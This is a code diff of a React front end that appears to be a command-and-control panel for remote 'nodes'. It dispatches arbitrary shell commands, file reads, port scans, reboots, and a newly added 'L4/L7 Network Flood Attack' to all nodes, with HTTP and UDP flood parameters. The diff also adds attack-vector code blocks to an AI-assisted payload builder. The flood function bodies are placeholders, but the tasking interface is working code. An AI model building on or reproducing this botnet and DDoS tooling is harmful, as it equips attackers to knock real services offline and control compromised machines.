Spaces:
Sleeping
Sleeping
Update src/App.tsx
Browse files- src/App.tsx +99 -17
src/App.tsx
CHANGED
|
@@ -474,7 +474,7 @@ function PayloadsTab() {
|
|
| 474 |
|
| 475 |
function BuilderTab() {
|
| 476 |
const [prompt, setPrompt] = useState('');
|
| 477 |
-
const [mode, setMode] = useState<'payload' | 'packets' | 'manual'>('
|
| 478 |
const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
|
| 479 |
const [loading, setLoading] = useState(false);
|
| 480 |
const [result, setResult] = useState('');
|
|
@@ -571,6 +571,7 @@ function BuilderTab() {
|
|
| 571 |
headers: { 'Content-Type': 'application/json' },
|
| 572 |
body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
|
| 573 |
});
|
|
|
|
| 574 |
}
|
| 575 |
alert(`Dispatched ${packets.length} packets to all nodes.`);
|
| 576 |
} catch (e: any) {
|
|
@@ -617,15 +618,21 @@ function BuilderTab() {
|
|
| 617 |
>
|
| 618 |
Gen Packets
|
| 619 |
</button>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 620 |
<button
|
| 621 |
onClick={() => setMode('manual')}
|
| 622 |
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 623 |
>
|
| 624 |
-
|
| 625 |
</button>
|
| 626 |
</div>
|
| 627 |
|
| 628 |
-
{mode === 'manual' ? (
|
| 629 |
<div className="flex flex-col gap-4">
|
| 630 |
<div className="bg-black/20 border border-white/10 rounded-xl p-3">
|
| 631 |
<h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
|
|
@@ -638,13 +645,37 @@ function BuilderTab() {
|
|
| 638 |
</div>
|
| 639 |
</div>
|
| 640 |
<div className="bg-black/20 border border-white/10 rounded-xl p-3">
|
| 641 |
-
<h3 className="text-sm font-medium text-slate-300 mb-2 px-1">
|
| 642 |
-
|
| 643 |
-
|
| 644 |
-
|
| 645 |
-
|
| 646 |
-
|
| 647 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 648 |
</div>
|
| 649 |
</div>
|
| 650 |
) : (
|
|
@@ -688,7 +719,7 @@ function BuilderTab() {
|
|
| 688 |
{result ? (
|
| 689 |
<div className="flex flex-col h-full gap-3">
|
| 690 |
<div className="flex justify-end gap-2 px-1">
|
| 691 |
-
{(mode === 'payload' || mode === 'manual') ? (
|
| 692 |
<button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
|
| 693 |
) : null}
|
| 694 |
{mode === 'packets' && (
|
|
@@ -798,6 +829,11 @@ elif cmd_type == 'exec_shell':
|
|
| 798 |
<p className="mb-2">Execute an arbitrary terminal command.</p>
|
| 799 |
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
|
| 800 |
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 801 |
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
|
| 802 |
<strong className="text-white block mb-1">fetch_http_test</strong>
|
| 803 |
<p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
|
|
@@ -1041,10 +1077,10 @@ function ReportResultViewer({ report }: { report: any }) {
|
|
| 1041 |
function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
|
| 1042 |
// Use state strictly tied to the category if possible, but shared state is fine.
|
| 1043 |
// When category changes, reset command to default of that category.
|
| 1044 |
-
const [command, setCommand] = useState(category === 'network' ? '
|
| 1045 |
|
| 1046 |
useEffect(() => {
|
| 1047 |
-
setCommand(category === 'network' ? '
|
| 1048 |
}, [category]);
|
| 1049 |
|
| 1050 |
const [targetNode, setTargetNode] = useState('all');
|
|
@@ -1053,6 +1089,10 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1053 |
const [host, setHost] = useState('google.com');
|
| 1054 |
const [portsList, setPortsList] = useState('80,443');
|
| 1055 |
const [interval, setIntervalVal] = useState('10');
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1056 |
const [shellCmd, setShellCmd] = useState('echo hello');
|
| 1057 |
const [filePath, setFilePath] = useState('/etc/pwd');
|
| 1058 |
const [status, setStatus] = useState('');
|
|
@@ -1079,8 +1119,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1079 |
return () => clearInterval(iv);
|
| 1080 |
}, []);
|
| 1081 |
|
| 1082 |
-
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe';
|
| 1083 |
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
|
|
|
|
|
|
|
|
|
| 1084 |
const requiresPorts = command === 'port_scan';
|
| 1085 |
const requiresInterval = command === 'change_poll_interval';
|
| 1086 |
const requiresShell = command === 'exec_shell';
|
|
@@ -1108,8 +1151,14 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1108 |
return;
|
| 1109 |
}
|
| 1110 |
} else {
|
| 1111 |
-
if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
|
| 1112 |
-
if (
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1113 |
if (requiresPorts) payload = { ...payload, ports: portsList };
|
| 1114 |
if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
|
| 1115 |
if (requiresShell) payload = { cmd: shellCmd };
|
|
@@ -1170,6 +1219,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1170 |
>
|
| 1171 |
{category === 'network' && (
|
| 1172 |
<optgroup label="Network Commands">
|
|
|
|
| 1173 |
<option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
|
| 1174 |
<option value="socket_tcp_probe">TCP Socket Probe</option>
|
| 1175 |
<option value="dns_resolve">DNS Resolve</option>
|
|
@@ -1202,9 +1252,9 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1202 |
<option value="system_logs">System Logs (dmesg/syslog)</option>
|
| 1203 |
<option value="list_services">List Services (systemctl/sc)</option>
|
| 1204 |
<option value="exec_shell">Exec Shell Command</option>
|
|
|
|
| 1205 |
<option value="reboot_system">Reboot System (Warning!)</option>
|
| 1206 |
<option value="self_terminate">Terminate Client Process</option>
|
| 1207 |
-
<option value="custom_json">Custom JSON Command</option>
|
| 1208 |
</optgroup>
|
| 1209 |
)}
|
| 1210 |
{category === 'file' && (
|
|
@@ -1247,6 +1297,38 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1247 |
</div>
|
| 1248 |
)}
|
| 1249 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1250 |
{requiresHost && (
|
| 1251 |
<div className="border-t border-white/5 pt-5 flex flex-col gap-4">
|
| 1252 |
<div>
|
|
|
|
| 474 |
|
| 475 |
function BuilderTab() {
|
| 476 |
const [prompt, setPrompt] = useState('');
|
| 477 |
+
const [mode, setMode] = useState<'payload' | 'packets' | 'manual' | 'dragdrop'>('dragdrop');
|
| 478 |
const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
|
| 479 |
const [loading, setLoading] = useState(false);
|
| 480 |
const [result, setResult] = useState('');
|
|
|
|
| 571 |
headers: { 'Content-Type': 'application/json' },
|
| 572 |
body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
|
| 573 |
});
|
| 574 |
+
await new Promise(resolve => setTimeout(resolve, 50)); // Ensure backpressure handling isn't triggered
|
| 575 |
}
|
| 576 |
alert(`Dispatched ${packets.length} packets to all nodes.`);
|
| 577 |
} catch (e: any) {
|
|
|
|
| 618 |
>
|
| 619 |
Gen Packets
|
| 620 |
</button>
|
| 621 |
+
<button
|
| 622 |
+
onClick={() => setMode('dragdrop')}
|
| 623 |
+
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'dragdrop' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 624 |
+
>
|
| 625 |
+
Visual Block Builder
|
| 626 |
+
</button>
|
| 627 |
<button
|
| 628 |
onClick={() => setMode('manual')}
|
| 629 |
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 630 |
>
|
| 631 |
+
Raw Editor
|
| 632 |
</button>
|
| 633 |
</div>
|
| 634 |
|
| 635 |
+
{(mode === 'manual' || mode === 'dragdrop') ? (
|
| 636 |
<div className="flex flex-col gap-4">
|
| 637 |
<div className="bg-black/20 border border-white/10 rounded-xl p-3">
|
| 638 |
<h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
|
|
|
|
| 645 |
</div>
|
| 646 |
</div>
|
| 647 |
<div className="bg-black/20 border border-white/10 rounded-xl p-3">
|
| 648 |
+
<h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Code Block Library</h3>
|
| 649 |
+
{mode === 'dragdrop' ? (
|
| 650 |
+
<div className="flex flex-col gap-2">
|
| 651 |
+
<p className="text-xs text-slate-400 mb-2">Click blocks to append them to your source chain.</p>
|
| 652 |
+
<div className="grid grid-cols-2 gap-2">
|
| 653 |
+
<div onClick={() => setResult(prev => prev + '\n# L7 Diagnostics\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 654 |
+
<div className="text-xs font-bold text-indigo-300">HTTP Probe</div>
|
| 655 |
+
<div className="text-[10px] text-slate-400 mt-1">Lightweight connectivity check.</div>
|
| 656 |
+
</div>
|
| 657 |
+
<div onClick={() => setResult(prev => prev + '\n# L4 Diagnostics\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 658 |
+
<div className="text-xs font-bold text-indigo-300">TCP Handshake</div>
|
| 659 |
+
<div className="text-[10px] text-slate-400 mt-1">Raw socket verification.</div>
|
| 660 |
+
</div>
|
| 661 |
+
<div onClick={() => setResult(prev => prev + '\n# L7 Attack Vector\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 662 |
+
<div className="text-xs font-bold text-rose-300">L7 HTTP Flood</div>
|
| 663 |
+
<div className="text-[10px] text-slate-400 mt-1">Concurrent request generation.</div>
|
| 664 |
+
</div>
|
| 665 |
+
<div onClick={() => setResult(prev => prev + '\n# L4 Attack Vector\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 666 |
+
<div className="text-xs font-bold text-rose-300">L4 UDP Flood</div>
|
| 667 |
+
<div className="text-[10px] text-slate-400 mt-1">Raw datagram saturation.</div>
|
| 668 |
+
</div>
|
| 669 |
+
</div>
|
| 670 |
+
</div>
|
| 671 |
+
) : (
|
| 672 |
+
<div className="flex flex-wrap gap-2">
|
| 673 |
+
<button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
|
| 674 |
+
<button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
|
| 675 |
+
<button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
|
| 676 |
+
<button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
|
| 677 |
+
</div>
|
| 678 |
+
)}
|
| 679 |
</div>
|
| 680 |
</div>
|
| 681 |
) : (
|
|
|
|
| 719 |
{result ? (
|
| 720 |
<div className="flex flex-col h-full gap-3">
|
| 721 |
<div className="flex justify-end gap-2 px-1">
|
| 722 |
+
{(mode === 'payload' || mode === 'manual' || mode === 'dragdrop') ? (
|
| 723 |
<button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
|
| 724 |
) : null}
|
| 725 |
{mode === 'packets' && (
|
|
|
|
| 829 |
<p className="mb-2">Execute an arbitrary terminal command.</p>
|
| 830 |
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
|
| 831 |
</li>
|
| 832 |
+
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
|
| 833 |
+
<strong className="text-white block mb-1">network_flood</strong>
|
| 834 |
+
<p className="mb-2">Execute an arbitrary stream of UDP or HTTP requests.</p>
|
| 835 |
+
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"udp_flood\", \"payload\": { \"ip\": \"example.com\", \"port\": 80, \"duration\": 5, \"packet_size\": 1024 } }"}</code>
|
| 836 |
+
</li>
|
| 837 |
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
|
| 838 |
<strong className="text-white block mb-1">fetch_http_test</strong>
|
| 839 |
<p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
|
|
|
|
| 1077 |
function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
|
| 1078 |
// Use state strictly tied to the category if possible, but shared state is fine.
|
| 1079 |
// When category changes, reset command to default of that category.
|
| 1080 |
+
const [command, setCommand] = useState(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
|
| 1081 |
|
| 1082 |
useEffect(() => {
|
| 1083 |
+
setCommand(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
|
| 1084 |
}, [category]);
|
| 1085 |
|
| 1086 |
const [targetNode, setTargetNode] = useState('all');
|
|
|
|
| 1089 |
const [host, setHost] = useState('google.com');
|
| 1090 |
const [portsList, setPortsList] = useState('80,443');
|
| 1091 |
const [interval, setIntervalVal] = useState('10');
|
| 1092 |
+
const [floodType, setFloodType] = useState('http_flood');
|
| 1093 |
+
const [duration, setDuration] = useState('10');
|
| 1094 |
+
const [threads, setThreads] = useState('10');
|
| 1095 |
+
const [packetSize, setPacketSize] = useState('1024');
|
| 1096 |
const [shellCmd, setShellCmd] = useState('echo hello');
|
| 1097 |
const [filePath, setFilePath] = useState('/etc/pwd');
|
| 1098 |
const [status, setStatus] = useState('');
|
|
|
|
| 1119 |
return () => clearInterval(iv);
|
| 1120 |
}, []);
|
| 1121 |
|
| 1122 |
+
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
|
| 1123 |
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
| 1124 |
+
const requiresFloodArgs = command === 'network_flood';
|
| 1125 |
+
const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
|
| 1126 |
+
const requiresThreads = command === 'network_flood' && floodType === 'http_flood';
|
| 1127 |
const requiresPorts = command === 'port_scan';
|
| 1128 |
const requiresInterval = command === 'change_poll_interval';
|
| 1129 |
const requiresShell = command === 'exec_shell';
|
|
|
|
| 1151 |
return;
|
| 1152 |
}
|
| 1153 |
} else {
|
| 1154 |
+
if (requiresTarget) payload = { ...payload, ip, port: parseInt(port) || 80 };
|
| 1155 |
+
if (requiresFloodArgs) {
|
| 1156 |
+
payload = { ...payload, duration: parseInt(duration), url: `http://${ip}:${port}` };
|
| 1157 |
+
finalType = floodType; // Overwrite the generic command string with the actual flood logic to run
|
| 1158 |
+
}
|
| 1159 |
+
if (requiresThreads) payload = { ...payload, threads: parseInt(threads) };
|
| 1160 |
+
if (requiresPacketSize) payload = { ...payload, packet_size: parseInt(packetSize) };
|
| 1161 |
+
if (requiresHost) payload = { ...payload, host };
|
| 1162 |
if (requiresPorts) payload = { ...payload, ports: portsList };
|
| 1163 |
if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
|
| 1164 |
if (requiresShell) payload = { cmd: shellCmd };
|
|
|
|
| 1219 |
>
|
| 1220 |
{category === 'network' && (
|
| 1221 |
<optgroup label="Network Commands">
|
| 1222 |
+
<option value="network_flood">L4/L7 Network Flood Attack</option>
|
| 1223 |
<option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
|
| 1224 |
<option value="socket_tcp_probe">TCP Socket Probe</option>
|
| 1225 |
<option value="dns_resolve">DNS Resolve</option>
|
|
|
|
| 1252 |
<option value="system_logs">System Logs (dmesg/syslog)</option>
|
| 1253 |
<option value="list_services">List Services (systemctl/sc)</option>
|
| 1254 |
<option value="exec_shell">Exec Shell Command</option>
|
| 1255 |
+
<option value="custom_json">Custom JSON Command</option>
|
| 1256 |
<option value="reboot_system">Reboot System (Warning!)</option>
|
| 1257 |
<option value="self_terminate">Terminate Client Process</option>
|
|
|
|
| 1258 |
</optgroup>
|
| 1259 |
)}
|
| 1260 |
{category === 'file' && (
|
|
|
|
| 1297 |
</div>
|
| 1298 |
)}
|
| 1299 |
|
| 1300 |
+
{requiresFloodArgs && (
|
| 1301 |
+
<div className="grid grid-cols-2 gap-4">
|
| 1302 |
+
<div className="col-span-2">
|
| 1303 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Flood Vector Method</label>
|
| 1304 |
+
<select
|
| 1305 |
+
value={floodType}
|
| 1306 |
+
onChange={e => setFloodType(e.target.value)}
|
| 1307 |
+
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
|
| 1308 |
+
>
|
| 1309 |
+
<option value="http_flood">L7 HTTP Flood</option>
|
| 1310 |
+
<option value="udp_flood">L4 UDP Flood</option>
|
| 1311 |
+
</select>
|
| 1312 |
+
</div>
|
| 1313 |
+
<div>
|
| 1314 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Duration (s)</label>
|
| 1315 |
+
<input type="text" value={duration} onChange={e=>setDuration(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
|
| 1316 |
+
</div>
|
| 1317 |
+
{requiresThreads && (
|
| 1318 |
+
<div>
|
| 1319 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Threads</label>
|
| 1320 |
+
<input type="text" value={threads} onChange={e=>setThreads(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
|
| 1321 |
+
</div>
|
| 1322 |
+
)}
|
| 1323 |
+
{requiresPacketSize && (
|
| 1324 |
+
<div>
|
| 1325 |
+
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Packet Size (bytes)</label>
|
| 1326 |
+
<input type="text" value={packetSize} onChange={e=>setPacketSize(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
|
| 1327 |
+
</div>
|
| 1328 |
+
)}
|
| 1329 |
+
</div>
|
| 1330 |
+
)}
|
| 1331 |
+
|
| 1332 |
{requiresHost && (
|
| 1333 |
<div className="border-t border-white/5 pt-5 flex flex-col gap-4">
|
| 1334 |
<div>
|